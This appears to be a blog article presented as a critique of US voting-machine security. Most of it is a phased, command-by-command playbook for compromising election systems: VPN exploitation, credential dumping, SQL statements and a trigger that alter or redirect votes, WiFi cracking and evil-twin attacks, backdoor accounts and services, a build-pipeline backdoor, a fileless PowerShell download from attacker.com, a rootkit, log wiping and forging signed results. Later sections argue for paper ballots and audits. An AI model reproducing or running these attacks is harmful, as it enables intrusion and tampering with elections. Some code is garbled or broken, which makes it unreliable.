# Common setup: SonicWall or Cisco ASA with default config

# Scan for VPN endpoints
nmap -sV -p 443,4443,10443 -iL county_networks.txt \
  --script ssl-cert,http-title

# Found: SonicWall SSL-VPN at county.gov:4443
# Known vulnerabilities:
# - CVE-2021-20016 (pre-auth RCE)
# - CVE-2021-20019 (credentials disclosure)

# Exploit credentials disclosure
curl https://county.gov:4443/cgi-bin/jarrewrite.sh \
  -k --path-as-is \
  -d "var=../../../../../etc/passwd"

# Retrieved VPN user credentials
# Login and pivot to internal network

Phase 2: Lateral movement

Once inside EMS server:

# Enumerate domain
bloodhound-python -u admin -p password -d county.local \
  -ns 10.1.1.1 -c All

# Dump credentials from memory
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Found credentials for:
# - Domain Admin (COUNTY\administrator)
# - SQL Server SA account
# - ES&S EMS service account

# Access SQL Server
sqlcmd -S localhost -U sa -P password
1> SELECT * FROM vote_database.dbo.candidates;
2> GO
# Direct access to vote database

# Modify votes in database
1> UPDATE vote_database.dbo.candidates
2> SET vote_count = vote_count * 1.05
3> WHERE candidate_id = 42;
4> GO

Phase 3: Mass deployment to voting machines

Use legitimate EMS software to deploy malware:

# ES&S EMS has "Firmware Update" feature
# Push firmware to all connected machines

# Replace legitimate firmware with backdoored version
cd "C:\Program Files\ES&S\EMS\Firmware"
copy DS200_v5.1.0.bin DS200_v5.1.0.bin.bak
copy DS200_v5.1.0_backdoored.bin DS200_v5.1.0.bin

# Or inject into EMS deployment database
sqlcmd -S localhost -U sa -P password
1> UPDATE firmware_repository
2> SET firmware_path = 'C:\Temp\backdoored_firmware.bin'
3> WHERE model = 'DS200';
4> GO

# Launch firmware update via EMS GUI
# Or automate via PowerShell
powershell.exe -ExecutionPolicy Bypass -File \
  "C:\Program Files\ES&S\EMS\Scripts\Deploy-Firmware.ps1" \
  -Target "All" -Firmware "DS200_v5.1.0.bin"

# EMS pushes firmware to all 150 connected DS200 machines
# Simultaneously backdoored in 5 minutes
# Election officials see "Firmware update successful"

Persistence mechanisms:

A. Create rogue admin account:

# Add backdoor account to Domain Admins
net user backdoor P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Add to EMS server local admins
net localgroup Administrators backdoor /add

# Modify registry for RDP access
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" \
  /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Disable Windows Firewall
netsh advfirewall set allprofiles state off

B. Scheduled task persistence:

# Create scheduled task that runs beacon
schtasks /create /tn "Windows Update Service" \
  /tr "C:\Windows\System32\svchost.exe -k netsvcs" \
  /sc onstart /ru SYSTEM /f

# Actually points to malicious binary disguised as svchost
copy beacon.exe C:\Windows\System32\svchost.exe

C. Service persistence:

# Create Windows service
sc create "Windows Vote Tabulation Service" \
  binpath= "C:\Windows\System32\vote_modifier.exe" \
  start= auto displayname= "Windows Vote Tabulation Service"

sc description "Windows Vote Tabulation Service" \
  "Provides vote counting services for election systems"

sc start "Windows Vote Tabulation Service"

This is how APT (Advanced Persistent Threat) groups operate. Compromise one server, own entire election infrastructure.

3. Vendor Remote Access

Dominion contractors access systems during vote counting. VPN. TeamViewer. RDP.

Documented in Mesa County, Colorado breach:

  • Dominion technician remote access during 2020 election
  • Full system access
  • Passwords: password123, Dominion2020!

What you'd do:

# Intercept VPN credentials (MITM, phishing, keylogger)
# Connect to county EMS via vendor VPN
openvpn --config dominion_vendor.ovpn

# Access all voting machines
ssh admin@ems.county.gov
# Password: [default from vendor manual]

# Modify vote tabulation
cd /var/voting/results/
vim precinct_001_results.xml

The satire: This is the official workflow. Vendors require remote access for "support."

4. WiFi Firmware Updates - Wireless Exploitation

Hart InterCivic Verity WiFi configuration:

  • Broadcom BCM43142 802.11n adapter
  • WPA2-PSK (no WPA3 support)
  • SSID: "County_Elections_Secure" (not hidden)
  • Password shared via email to 50+ election workers
  • No MAC address filtering
  • No certificate-based auth
  • 2.4GHz only (no 5GHz)
  • Channel 6 (default, congested)

Phase 1: WiFi reconnaissance

# Passive monitoring
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon

# Found target AP:
# BSSID: 00:1A:2B:3C:4D:5E
# ESSID: County_Elections_Secure
# Channel: 6
# Encryption: WPA2 PSK
# Clients: 15 connected

# Capture handshake
sudo airodump-ng -c 6 --bssid 00:1A:2B:3C:4D:5E \
  -w capture wlan0mon

# Deauth a client to force reconnect (captures handshake)
sudo aireplay-ng -0 5 -a 00:1A:2B:3C:4D:5E \
  -c [CLIENT_MAC] wlan0mon

# Captured handshake in 30 seconds

Phase 2: Password cracking

# GPU-accelerated cracking with hashcat
# Convert capture to hashcat format
hcxpcapngtool -o capture.hc22000 capture.cap

# Crack with RTX 4090 (600 MH/s for WPA2)
hashcat -m 22000 capture.hc22000 rockyou.txt

# Password found in 8 minutes: "Election2024!"
# (Common pattern: Election + Year + !)

# Alternative: Check for leaked passwords
curl https://api.pwnedpasswords.com/range/[HASH_PREFIX]
# Found password in HaveIBeenPwned database
# Election official reused password from LinkedIn breach

Phase 3: Evil twin attack (if password unknown)

# Create fake AP with same SSID
# Deauth clients from real AP
# Clients auto-connect to evil twin
# Capture credentials

# Setup evil twin
sudo airbase-ng -e "County_Elections_Secure" \
  -c 6 -v wlan0mon

# Deauth clients from real AP
sudo aireplay-ng -0 0 -a 00:1A:2B:3C:4D:5E wlan0mon &

# Clients connect to evil twin
# Present fake captive portal: "WiFi password changed, enter new password"
# Phish credentials

# Or MITM all traffic through evil twin
# DNS spoofing, SSL stripping, credential harvesting

Phase 4: WiFi network exploitation

# Connect to target WiFi
nmcli dev wifi connect "County_Elections_Secure" \
  password "Election2024!"

# Scan network
nmap -sn 192.168.1.0/24
# Found:
# 192.168.1.1   - Router (Linksys WRT1900AC)
# 192.168.1.10  - EMS Server
# 192.168.1.100-250 - Voting machines (Hart Verity)

# Scan voting machine ports
nmap -sV -p- 192.168.1.100
# PORT     STATE SERVICE    VERSION
# 22/tcp   open  ssh        OpenSSH 7.4 (Ubuntu)
# 80/tcp   open  http       nginx 1.10.3
# 8080/tcp open  http       Jetty 9.2.13
# 5432/tcp open  postgresql PostgreSQL 9.5

# Web interface on port 8080
curl http://192.168.1.100:8080
# Hart InterCivic Verity Configuration Panel
# Login required

# Try default credentials from manual
curl -X POST http://192.168.1.100:8080/login \
  -d "username=admin&password=admin"
# Success! Session cookie received.

# Enumerate endpoints
curl http://192.168.1.100:8080/api/v1/ -H "Cookie: session=..."
# /api/v1/ballots
# /api/v1/firmware
# /api/v1/logs
# /api/v1/results

# Upload malicious ballot definition
curl -X POST http://192.168.1.100:8080/api/v1/ballots/upload \
  -F "file=@malicious_ballot.xml" \
  -H "Cookie: session=..."

# Or upload malicious firmware
curl -X POST http://192.168.1.100:8080/api/v1/firmware/update \
  -F "file=@backdoored_firmware.bin" \
  -H "Cookie: session=..."

Phase 5: PostgreSQL database compromise

# PostgreSQL exposed on network
# Try default credentials
psql -h 192.168.1.100 -U postgres -d voting_db
# Password: postgres (default, unchanged)

# Connected! Enumerate tables
\dt
# List of relations
# public | ballots    | table | postgres
# public | candidates | table | postgres
# public | precincts  | table | postgres
# public | votes      | table | postgres

# View vote data
SELECT * FROM votes LIMIT 10;
# Real-time vote data visible

# Modify votes
UPDATE votes SET candidate_id = 42
WHERE vote_id BETWEEN 1000 AND 2000;
# Changed 1000 votes

# Or inject SQL backdoor
CREATE OR REPLACE FUNCTION vote_modifier()
RETURNS TRIGGER AS $$
BEGIN
    IF NEW.candidate_id = 99 THEN
        NEW.candidate_id := 42; -- Redirect votes
    END IF;
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER vote_redirect_trigger
BEFORE INSERT ON votes
FOR EACH ROW EXECUTE FUNCTION vote_modifier();

# Every vote for candidate 99 gets redirected to 42
# Invisible to election workers

Phase 6: Wireless pivoting

# Use compromised voting machine as pivot point
# Access other machines on network

# SSH to voting machine (default key found in firmware)
ssh -i hart_default_key.pem admin@192.168.1.100

# Now inside voting machine
# Pivot to other machines

# Lateral movement via SSH key reuse
for ip in 192.168.1.{101..250}; do
    ssh -i hart_default_key.pem -o StrictHostKeyChecking=no \
        admin@$ip "echo 'Compromised $ip'" &
done

# 150 machines compromised in parallel
# All share same SSH key (documented in security audit, never fixed)

Phase 7: WiFi firmware backdoor

# More sophisticated: Backdoor WiFi adapter firmware
# Persistence across OS reinstall

# Broadcom BCM43142 firmware extraction
git clone https://github.com/seemoo-lab/nexmon
cd nexmon
make

# Modify firmware to add backdoor
cat << 'EOF' > backdoor_patch.c
// Inject into firmware
// Create hidden WiFi AP on channel 13
// Beacons every 10 seconds
// No SSID broadcast
// Only responds to magic packets

void hidden_ap_handler() {
    if (magic_packet_received()) {
        enable_root_shell_on_port_31337();
    }
}
EOF

# Compile backdoored firmware
make backdoored_firmware.bin

# Flash to voting machine via web interface
curl -X POST http://192.168.1.100:8080/api/v1/wifi/firmware \
  -F "file=@backdoored_firmware.bin" \
  -H "Cookie: session=..."

# Now attacker can connect to hidden AP from parking lot
# Send magic packet, get root shell
# Survives OS updates, firmware updates

Time required: 20 minutes from parking lot. 2 hours for full network compromise.

Detection:

  • WiFi IDS (not deployed)
  • Network traffic monitoring (not implemented)
  • Logging review (never performed)
  • Basically: none

5. Software Update Mechanism Hijack

ES&S distributes updates via USB drive mailed to counties.

What you'd do:

Intercept USB drive. Clone contents. Add malicious payload. Reseal package. Deliver.

Or compromise ES&S build server. Inject malware at source. Every customer gets infected update.

Supply chain attack. Sophisticated. Nation-state capability. But technically feasible.

Real vulnerabilities documented:

CVE-2022-1747: Dominion authentication bypass. Forge admin credentials without password.

CVE-2022-1742: Boot to Android Safe Mode. Access filesystem. No authentication.

Hursti Hack (2005): Memory cards contain executable code. Modified vote totals. Demonstrated on live Diebold machine.

DefCon Voting Village results: Every machine breached. Some in under 90 seconds.


Supply Chain Hardware Backdoors (Advanced Threats)

Nation-state level attacks. Technically sophisticated. Actually feasible.

Component-Level Backdoors

Scenario: Voting machine motherboards manufactured in Shenzhen. PCB assembly contractor inserts hardware backdoor during manufacturing.

Attack 1: PCB-level RF transmitter

Hardware implant:

Components needed:
- ATtiny10 microcontroller (2mm x 2mm SOT23-6 package)
- 2.4GHz RF transmitter chip (CC2500, 4mm x 4mm)
- Ceramic antenna (PCB trace, invisible)
- Power: Parasitic draw from 3.3V rail (0.5mA, undetectable)

Placement: Under BGA package or beneath metal shield

Functionality:

  • Monitors data bus for vote tallying signals
  • Transmits vote totals via 2.4GHz RF
  • Low power, intermittent transmission (once per hour)
  • Receiver in parking lot collects data
  • Machine appears "air-gapped," actually broadcasting results

Detection difficulty:

  • Visual inspection: Impossible (hidden under existing components)
  • X-ray inspection: Difficult (looks like decoupling capacitor)
  • RF detection: Difficult (intermittent, low power, ISM band noise)
  • Cost to implement: $5 per board

Attack 2: BIOS chip substitution

Compromised component:

  • Winbond W25Q64 BIOS flash chip (8-SOIC package)
  • Manufacturer: Shenzhen or Taiwanese fab
  • Nation-state compromise during wafer production

Hardware trojan inside chip:

Modified die includes:
- Original flash memory (8MB)
- Hidden ROM (256KB, not visible to address space)
- Simple state machine logic (200 gates)

Trojan functionality:
1. Monitors SPI bus for specific byte sequence
2. When detected, switches memory mapping
3. Returns bytes from hidden ROM instead of flash
4. Hidden ROM contains backdoored BIOS code
5. Trigger sequence in normal boot process
6. Backdoor executes, modifies votes
7. Returns to normal operation

Detection:

  • Impossible without electron microscope inspection
  • Die photos show extra circuitry
  • But who photographs BIOS chips from voting machines?

Real-world precedent:

  • NSA ANT catalog (Snowden leaks): SWAP attacks
  • Chinese chip backdoors in military hardware (Bloomberg 2018)
  • Technically proven feasible

Attack 3: Malicious capacitor

Sophisticated attack:

Replace ceramic capacitor with NSA-style hardware implant.

Component specifications:

Original: 0805 ceramic capacitor (10Β΅F, decoupling)
Replaced: Custom PCB disguised as capacitor

Implant contains:
- Actual capacitor (maintains functionality)
- ATtiny10 microcontroller
- NAND flash (256KB storage)
- I2C sniffer circuit
- Powered by capacitor's voltage regulation

Attack functionality:

// Pseudocode running on ATtiny10
void main() {
    while(1) {
        // Monitor I2C bus (voting machine internal communication)
        uint8_t* data = i2c_sniff();

        // Check if vote counting is occurring
        if (detect_vote_pattern(data)) {
            // Extract vote data
            uint32_t votes = parse_votes(data);

            // Modify in transit
            uint32_t modified = modify_votes(votes);

            // Inject modified data back onto I2C bus
            i2c_inject(modified);

            // Log to internal flash
            flash_log(votes, modified);
        }
    }
}

Data exfiltration:

  • Stored locally in implant flash
  • Retrieved when attacker has physical access
  • Or transmitted via side-channel (subtle power fluctuations)

Detection:

  • Visual: Impossible (identical to real capacitor)
  • X-ray: Difficult (expects to see component inside)
  • Requires destructive analysis with microscope

Firmware Supply Chain

Attack: Compromise ES&S build server

Target: ES&S development infrastructure in Omaha, Nebraska.

Phase 1: Reconnaissance

# OSINT on ES&S infrastructure
# LinkedIn: Find ES&S software engineers
# GitHub: Search for ES&S-related code leaks
# Job postings: "Experience with Jenkins, GitLab, Windows build servers"

# Shodan: Find exposed ES&S infrastructure
shodan search "ES&S" org:"Election Systems & Software"

# Found: VPN endpoint, email server, build server

# Phishing target: Senior build engineer
# Create fake LinkedIn job offer
# "Senior Voting Systems Engineer, $180k, Remote"
# Malicious PDF with resume
# CVE-2023-21608 (Windows PDF RCE)

Phase 2: Initial compromise

# Engineer opens PDF on corporate laptop
# Exploit executes, drops Cobalt Strike beacon

# Beacon connects to C2 server
# Attacker gains shell on engineer's laptop

# Privilege escalation
# Windows 10 Enterprise - fully patched
# Use living-off-the-land techniques

# Steal Kerberos ticket
mimikatz.exe "sekurlsa::tickets /export" "exit"

# Pass-the-ticket to access build server
klist purge
kerberos::ptt TGT_engineer@ess.local.kirbi

# Now authenticated as engineer to internal systems

Phase 3: Compromise build pipeline

# Access Jenkins build server
curl -u engineer:stolen_password \
  http://jenkins.ess.local:8080/

# View build jobs
# Found: "DS200-Firmware-Release" job

# Modify Jenkinsfile
git clone http://gitlab.ess.local/firmware/DS200.git
cd DS200

cat << 'EOF' >> Jenkinsfile
stage('Backdoor Injection') {
    steps {
        script {
            // Inject backdoor during build
            sh '''
                # Patch vote counting binary
                python3 /tmp/inject_backdoor.py \
                    build/TabulatorService.exe
            '''
        }
    }
}
EOF

# Create backdoor injection script
cat << 'EOF' > /tmp/inject_backdoor.py
import sys
import struct

def inject_backdoor(exe_path):
    # Read PE file
    with open(exe_path, 'rb') as f:
        data = bytearray(f.read())

    # Find code cave (null padding in .text section)
    cave_offset = find_code_cave(data)

    # Shellcode: Multiply votes by 1.05 for candidate ID 42
    shellcode = assemble("""
        push ebp
        mov ebp, esp
        mov eax, [ebp-0x10]  ; Candidate ID
        cmp eax, 42
        jne normal_count
        mov eax, [ebp-0x14]  ; Vote count
        imul eax, 105
        mov ebx, 100
        div ebx
        mov [ebp-0x14], eax
    normal_count:
        pop ebp
        ret
    """)

    # Inject shellcode
    data[cave_offset:cave_offset+len(shellcode)] = shellcode

    # Modify vote counting function to jump to shellcode
    patch_jump(data, vote_count_function_offset, cave_offset)

    # Write back
    with open(exe_path, 'wb') as f:
        f.write(data)

if __name__ == '__main__':
    inject_backdoor(sys.argv[1])
EOF

git add Jenkinsfile
git commit -m "Add telemetry collection (approved by management)"
git push

Phase 4: Persistence and distribution

# Backdoored firmware gets built and signed
# Code signing certificate stored on build server
# No manual review of automated builds
# Firmware distributed to all ES&S customers
# 10,000+ voting machines backdoored in one update cycle

Real precedent:

  • SolarWinds supply chain attack (2020)
  • CCleaner compromise (2017)
  • ASUS Live Update backdoor (2019)
  • Same techniques, voting machine target

Side-Channel Attacks & Advanced Exploitation

For the truly sophisticated adversary.

Electromagnetic Emanation Analysis (TEMPEST)

Attack scenario: Extract vote data without touching machine or network.

Equipment needed:

- SDR (HackRF One, $300)
- Directional antenna (Yagi, $50)
- GNURadio software (free)
- Laptop with signal processing capability
- Van parked near polling place

Theory: Every electronic device emits electromagnetic radiation. CRT monitors leaked enough RF to reconstruct screen contents from 100 meters away (1985 research). Modern LCD displays less leaky, but voting machines use internal RS-232 serial and unshielded ribbon cables.

Exploitation:

#!/usr/bin/env python3
# GNURadio script to capture and decode voting machine emissions

from gnuradio import blocks
from gnuradio import gr
from gnuradio import uhd
import numpy as np

class voting_machine_tempest(gr.top_block):
    def __init__(self):
        gr.top_block.__init__(self)

        # Configure HackRF to scan VHF band
        self.source = uhd.usrp_source(
            device_addr="",
            stream_args=uhd.stream_args('fc32'),
        )

        # Scan for periodic emissions (vote counting generates patterns)
        # RS-232 serial at 115200 baud = ~115 kHz harmonics
        self.source.set_center_freq(150e6, 0)  # 150 MHz
        self.source.set_samplerate(2e6)
        self.source.set_gain(40, 0)

        # FFT to detect patterns
        self.fft = blocks.stream_to_vector(gr.sizeof_gr_complex, 1024)
        self.fft_mag = blocks.complex_to_mag_squared(1024)

        # Look for repetitive patterns indicating serial data
        self.detector = blocks.threshold_ff(0.01, 0.01, 0)

        # Decode serial data from RF emissions
        # (Simplified - actual implementation requires correlation)
        self.decoder = custom_serial_decoder()

        # Connect blocks
        self.connect((self.source, 0), (self.fft, 0))
        self.connect((self.fft, 0), (self.fft_mag, 0))
        self.connect((self.fft_mag, 0), (self.detector, 0))
        self.connect((self.detector, 0), (self.decoder, 0))

# Usage: Park van near polling place
# Monitor RF emissions during vote counting
# Reconstruct vote totals from electromagnetic leakage
# No network access required
# No physical access required

Countermeasure: TEMPEST shielding (metal chassis, ferrite beads). Not implemented in commercial voting machines.

Power Analysis Attacks

Differential Power Analysis (DPA) on vote counting:

Attack vector: Voting machines use cryptographic signatures to verify vote totals. DPA can extract signing keys by analyzing power consumption during cryptographic operations.

Equipment:

- Oscilloscope (Rigol DS1054Z, $400)
- Current probe (shunt resistor, $5)
- Access to voting machine power supply
- MATLAB or Python for signal analysis

Methodology:

# Capture power traces during RSA signature generation
import numpy as np
from scipy import stats

# Collect 10,000 power traces
traces = []
for i in range(10000):
    # Trigger signing operation
    trigger_vote_signing()

    # Record power consumption
    trace = oscilloscope.capture_trace(sample_rate=1e9, duration=0.001)
    traces.append(trace)

# Differential power analysis
# Correlate power consumption with key bits
key_bits = []
for bit_position in range(2048):  # RSA-2048 key
    # Statistical analysis to determine key bit
    correlation = stats.pearsonr(traces, bit_hypotheses[bit_position])
    if correlation > threshold:
        key_bits.append(1)
    else:
        key_bits.append(0)

# Reconstruct private key
private_key = bits_to_key(key_bits)

# Now can forge signatures on fake vote totals
fake_votes = create_fraudulent_results()
signature = sign_with_stolen_key(fake_votes, private_key)
# Election officials verify signature - it's valid
# Accept fraudulent results

Defense: Constant-time crypto implementations, power filtering. Not implemented.

Timing Attacks on Vote Database

Scenario: SQL database query timing reveals information.

Attack:

# Remote timing attack to extract vote totals
import requests
import statistics

def timing_attack(candidate_id):
    """Binary search for vote count using timing side-channel"""
    low, high = 0, 1000000

    while low < high:
        mid = (low + high) // 2

        # Query: "SELECT * FROM votes WHERE candidate_id = X AND vote_count > Y"
        # If true: database scans more rows (slower)
        # If false: returns immediately (faster)

        times = []
        for _ in range(100):  # Average 100 requests
            start = time.time()
            r = requests.get(f'http://county-ems/results?id={candidate_id}&threshold={mid}')
            end = time.time()
            times.append(end - start)

        avg_time = statistics.mean(times)

        # Baseline time (result = false): 0.050 seconds
        # Extended time (result = true): 0.053 seconds
        if avg_time > 0.051:
            # Vote count is greater than mid
            low = mid + 1
        else:
            high = mid

    return low  # Exact vote count

# Extract vote totals for all candidates without authentication
for candidate in range(1, 50):
    count = timing_attack(candidate)
    print(f"Candidate {candidate}: {count} votes")

# Complete vote counts extracted via timing side-channel
# Before official results released

Forensics Evasion

Anti-forensics techniques for sophisticated attackers:

1. Memory-only malware:

# Execute entirely in RAM, no disk writes
# Survives until reboot, then disappears

# PowerShell fileless attack
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \
  "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# Payload modifies votes in memory
# Never touches disk
# No forensic artifacts

2. Timestomping:

# Modify file timestamps to blend in
# Make malicious files look like original OS files

# Windows
powershell.exe -Command \
  "(Get-Item malicious.exe).LastWriteTime = (Get-Item C:\Windows\System32\svchost.exe).LastWriteTime"

# Linux
touch -r /bin/ls malicious_binary
# Now has same timestamp as system binary

3. Log deletion:

# Clear all forensic evidence

# Windows Event Logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath

# Clear USN Journal (tracks all file operations)
fsutil usn deletejournal /D C:

# Zero unallocated space (hide deleted files from recovery)
sdelete -z C:

4. Rootkit techniques:

// Kernel-level rootkit to hide malicious processes

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>

// Hook getdents64 syscall to hide our process
asmlinkage long (*original_getdents64)(unsigned int fd,
                                        struct linux_dirent64 *dirp,
                                        unsigned int count);

asmlinkage long hooked_getdents64(unsigned int fd,
                                  struct linux_dirent64 *dirp,
                                  unsigned int count) {
    long ret = original_getdents64(fd, dirp, count);

    // Filter out our malicious process from directory listing
    struct linux_dirent64 *d;
    unsigned long offset = 0;

    while (offset < ret) {
        d = (struct linux_dirent64 *)((char *)dirp + offset);

        if (strcmp(d->d_name, "vote_modifier") == 0) {
            // Hide this process
            memmove(d, (char *)d + d->d_reclen, ret - offset - d->d_reclen);
            ret -= d->d_reclen;
            continue;
        }

        offset += d->d_reclen;
    }

    return ret;
}

// Process invisible to ps, top, ls
// Only detectable with specialized rootkit scanners
// Which are not installed on voting machines

5. Secure deletion of backdoors:

# When attack is complete, remove all traces
# Overwrite binary with random data before deletion

# Shred malicious files
shred -vfz -n 10 /tmp/exploit.py
shred -vfz -n 10 /var/log/attack.log

# Or use DBAN (Darik's Boot and Nuke)
# Boot from USB, securely wipe specific sectors
# Forensically unrecoverable

Why this matters: Even if breach is suspected, forensic analysis finds nothing. No logs. No artifacts. No evidence. Attack succeeds undetected.

Why This Exists: The Certification Theater

Federal certification process:

  1. Vendor pays $6 million to testing lab
  2. Lab tests that machine correctly counts test ballots
  3. Lab issues certification
  4. States accept certification
  5. Machine deployed to count real votes

What gets tested: Does it count 10 test ballots correctly?

What doesn't get tested: Can someone with USB drive and 5 minutes change vote totals?

Two labs in the US:

  • Pro V&V (Alabama)
  • SLI Compliance (Colorado)

Vendor pays for own testing. Conflict of interest? Obviously. Happens anyway? Yes.

HACK LOVE BETRAY
OUT NOW

HACK LOVE BETRAY

The ultimate cyberpunk heist adventure. Build your crew, plan the impossible, and survive in a world where trust is the rarest currency.

PLAY NOW β†’

EAC VVSG (Voluntary Voting System Guidelines):

  • "Voluntary"
  • Focuses on functional testing (does touchscreen work?)
  • Not adversarial security (can attacker exploit JTAG?)
  • Evolved 2005-2021
  • Still doesn't require penetration testing

Sample test scenario:

Test: Insert 100 ballots. Verify count equals 100.
Security researcher: "What if I inject malicious firmware via CF card?"
EAC: "That's not in the test plan."

The certification tests functionality. Not security. This is intentional.

Why?

Security testing would reveal vulnerabilities. Vendors would have to fix them. Expensive. Delays product launch.

Better to test that the touchscreen works and ship it.

Update cycle problem:

ES&S ships machine with Windows 7 in 2015. Gets certified.

Microsoft ends Windows 7 support in 2020.

ES&S wants to patch zero-day vulnerability? Must recertify. $6 million. 6-12 months.

Or just... don't patch. Keep using vulnerable Windows 7.

Georgia delayed critical Dominion security updates until after 2024 election. Because installing patches would invalidate certification.

The incentive structure punishes security.

State certification:

38 states use federal certification. Add their own tests.

Additional state tests:

  • Does ballot format match state law?
  • Can election workers operate the touchscreen?
  • Does the printer work?

Not tested:

  • Can remote attacker compromise via modem?
  • Can malicious USB inject firmware?
  • Are default passwords documented in manual?

California requires source code review. Good idea.

Problem: Source code under NDA. Confidential. Can't tell public what you found.

Researcher finds critical vulnerability in source code. Can't publish. Can't warn voters. Can only tell ES&S privately.

ES&S fixes it... eventually. Maybe. If it doesn't cost too much.

The Monopoly Problem

Three companies control American elections:

ES&S: 50% of votes Dominion: 30% of votes Hart InterCivic: 15% of votes

Would trigger antitrust investigation in any other industry. Banking? Telecom? Energy? Regulators would block this consolidation.

Elections? No problem.

Business practices:

1. Long-term vendor lock-in

Counties sign 10-year contracts. Proprietary ballot formats. Switching costs millions.

2. Paid trips for election officials

ES&S takes county clerks to Vegas. All expenses paid. "Product training conference."

Same officials decide which voting machines to purchase.

3. Aggressive litigation against security researchers

Diebold sued researchers who published vulnerabilities (2003).

Chilling effect on security research.

4. Proprietary source code

Closed source. Trade secrets. "Security through obscurity."

Open-source alternatives exist. Vendors block adoption through lobbying.

Supply Chain Vulnerabilities

Component sourcing (Interos 2020 report):

  • 20% from China-based manufacturers
  • 59% from companies with operations in China or Russia
  • Programmable logic chips, capacitors, PCB manufacturing

What this enables:

Hardware backdoors at chip level. Undetectable without electron microscope.

Example attack:

Chinese PCB manufacturer adds wireless transmitter to motherboard.
Voting machine "air-gapped."
Transmitter sends vote totals via hidden radio.
Receiver in parking lot collects data.

Paranoid? Yes. Technically feasible? Also yes.

Dominion software development:

Office in Belgrade, Serbia. Developers with access to source code.

Contractors remote into US voting systems during elections.

ES&S supply chain:

Sources components from Shenzhen electronics markets.

Quality control: visual inspection.

No hardware verification. No firmware signing. No supply chain integrity checks.

Security Theater Performance

"Air-gapped" machines:

Election official: "Our voting machines never connect to the internet."

Security researcher: "I'm literally looking at 35 ES&S machines with active IP addresses right now."

Election official: "Those are for unofficial results only."

Security researcher: "That's still internet connection."

Election official: "But it's unofficial."

The modem is an official feature. For transmitting results. Over cellular network. To county server. Which connects to internet.

"Air-gapped."

Paper trail verification:

Voter: Inserts ballot. Machine prints barcode receipt.

Screen shows: "Voted for Candidate A"

Barcode contains: Vote for Candidate B

Voter reviews receipt for 7 seconds. Can't read barcode. Assumes it's correct.

Georgia Dominion ImageCast X (2023): Researchers demonstrated barcode manipulation. Screen shows one vote. Barcode records different vote. No one notices.

Thermal paper fades after 6 months. Recounts after 6 months? Good luck.

Post-election audits:

Most states: Audit 1% of machines or ballots.

Math on detecting fraud with 1% audit:

If attacker flips 5% of votes in 20% of precincts, chance of detection in 1% audit: 8%.

Attacker has 92% chance of going undetected.

Only Colorado mandates risk-limiting audits. Statistical sampling with 95% confidence. Detects even small-scale manipulation.

48 other states: "Let's check one machine and hope it's fine."

Real breaches that happened:

Coffee County, Georgia (2021):

  • Trump-aligned operatives copy entire Dominion system
  • Software, election databases, configuration files
  • Forensic images created for "security research"
  • Unauthorized access. Criminal investigation ongoing.

Mesa County, Colorado (2021):

  • Voting system passwords posted to Telegram
  • County clerk copied hard drives
  • Full system access credentials publicly available

The threat isn't just nation-states. It's insiders with ideology and Torx drivers.

What Actually Works

Hand-marked paper ballots.

Pen. Paper. Box. Human counts. Observed by both parties.

Attack surface: Need physical access to ballot box. Witnesses present. Changing results requires physically altering hundreds of paper ballots.

Compare to electronic: Change one CF card, flip entire precinct.

"But hand counts are slow."

Germany hand-counts 60 million ballots. Results by midnight. Population 83 million.

France hand-counts ballots. Results same day. Population 67 million.

United States has infrastructure. We choose electronic systems because vendors lobbied for them.

Risk-limiting audits (Colorado model):

Statistical sampling. 95% confidence.

How it works:

  1. Count small random sample of ballots
  2. Compare to machine totals
  3. If discrepancy exceeds statistical threshold, expand audit
  4. Continue until confidence achieved or full hand recount

Math defeats hacking. Attacker needs to compromise both machines AND paper ballots. Significantly harder.

Only Colorado mandates this statewide. Should be federal law.

Pen-testing certification:

Current: Does machine count test ballots correctly?

Needed: Can security researcher with 30 minutes breach the system?

Hire red teams. Pay them to break voting machines. Fix what they find. Repeat.

This is how security works in every other critical infrastructure sector.

Banking: Penetration testing required. Healthcare: Vulnerability assessment mandated. Elections: "Does the touchscreen work?"

Open-source voting systems:

Transparent code. Public audits. Community verification.

Vendor argument: "Closed source prevents attackers from finding vulnerabilities."

Security principle: Obscurity isn't security.

Reality: Closed source prevents researchers from finding vulnerabilities. Attackers find them anyway.

Linux kernel: Open source. Runs 90% of internet. Most secure OS.

Voting machine software: Closed source. Runs election. Breached at DefCon in 90 seconds.

Pilot projects exist. Prime III (Los Angeles), VotingWorks (New Hampshire).

Works. Vendors lobby against adoption.


Technical Addendum: Cryptographic & Database Exploitation

For the hardcore nerds who want implementation details.

Cryptographic Signature Bypass

Vote totals are cryptographically signed to prevent tampering. Or are they?

ES&S signature scheme:

# Pseudocode from reverse engineering TabulatorService.exe

def sign_vote_totals(votes_dict):
    """Sign vote totals with RSA-2048"""

    # Serialize votes to JSON
    vote_json = json.dumps(votes_dict, sort_keys=True)

    # Hash with SHA-256
    vote_hash = hashlib.sha256(vote_json.encode()).digest()

    # Sign with RSA private key
    signature = rsa_sign(vote_hash, private_key)

    return {
        'votes': votes_dict,
        'signature': base64.encode(signature),
        'timestamp': int(time.time())
    }

# Vulnerability 1: Private key stored on same system
# Location: C:\ES&S\Tabulator\config\signing_key.pem
# Permissions: Everyone (Full Control)
# Encrypted: No
# Any attacker with filesystem access can steal signing key

# Vulnerability 2: No certificate pinning
# System accepts any signature from any key
# Just need matching public key in C:\ES&S\Tabulator\config\trusted_keys\

# Vulnerability 3: Timestamp not validated
# Can replay old signed results

Attack: Steal signing key

# Mount voting machine filesystem
mount /dev/sdb2 /mnt/voting

# Extract signing key
cp /mnt/voting/ES&S/Tabulator/config/signing_key.pem .

# Forge fraudulent results
python3 << 'EOF'
import json
import hashlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256

# Load stolen private key
with open('signing_key.pem', 'r') as f:
    private_key = RSA.import_key(f.read())

# Create fraudulent vote totals
fake_votes = {
    'precinct_id': 'P001',
    'candidates': {
        'Candidate A': 5000,  # Actually 3000
